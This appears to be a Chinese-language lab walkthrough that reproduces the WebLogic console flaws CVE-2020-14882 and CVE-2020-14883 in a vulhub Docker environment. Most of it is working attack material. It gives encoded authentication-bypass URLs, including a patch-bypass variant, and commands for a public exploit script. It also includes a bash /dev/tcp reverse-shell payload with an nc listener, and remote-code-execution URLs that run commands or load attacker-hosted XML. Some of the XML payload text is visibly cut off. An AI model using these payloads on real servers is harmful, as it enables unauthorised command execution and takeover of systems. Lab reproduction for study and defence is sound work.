Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883
Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)。
CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台
CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身 份执行命令。
10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
使用vulhub靶场
git clone https://github.com/vulhub/vulhub.git #vulhuba靶场下载
1.cd vulhub/weblogic/CVE-2020-14882
2.docker-compose up -d #启动环境
查看是否搭建成功
访问 http://your-IP:7001/console
出现此界面,表示搭建成功
权限漏洞绕过,主要的POC如下:
/console/images/%252E%252E%252Fconsole.portal
/console/css/%25%32%65%25%32%65%25%32%66console.portal
大写换成小写可绕过补丁:
/console/css/%252e%252e%252fconsole.portal
绕过后台登录
http://your-ip:7001/console/images/%252E%252E%252Fconsole.portal
访问后台后是一个低权限的用户,无法安装应用,也无法直接执行任意代码。
脚本地址: https://github.com/backlion/CVE-2020-14882_ALL
命令回显: python3 CVE-2020-14882——ALL.py -u http://your-ip:7001/ -c "whoami"
python3 CVE-2020-14882——ALL.py -u http://your-ip:7001/ -c "ls"
外置xml文件无回显命令执行
Linux反弹shell为例,编辑poc.xml文件
命令:touch poc.xml
当前目录新建poc.xml
写入以下代码:
/bin/bash
-c
& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1]]>
注意:上面反弹的地址是your-IP地址和任意端口
在当前目录执行以下命令,服务器就在当前目录
python3 -m http.server #开启新的服务器
通过脚本执行命令:
python3 CVE-2020-14882_ALL.py -u http://172.16.115.130:7001/ -x http://172.16.115.130:8000/poc.xml
打开监听
nc -lvvp 2023
CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
使用CVE-2020-14882 环境复现
这个漏洞一共有两种利用方法:
第一种方法是通过:com.tangosol.coherence.mvel2.sh.ShellSession
执行命令:
http://172.16.115.130:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/abcde');")
docker exec -it 容器ID /bin/bash #查看是否创建成功
这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 类
第二种方法:
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
#开启一个服务器
python3 -m http.server
#新建qwe.xml文件,写入以下内容,并保存至刚开启的服务器上
bash -c
#然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
http://172.17.0.1:7001/console/css/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://172.16.115.130/qwe.xml")
进入容器查看是否创建成功:
docker exec -it 容器id /bin/bash
参考链接:
https://blog.csdn.net/qq_32731075/article/details/117673410
http://luckysec.cn/posts/b52ee26f.html
如有问题,欢迎留言。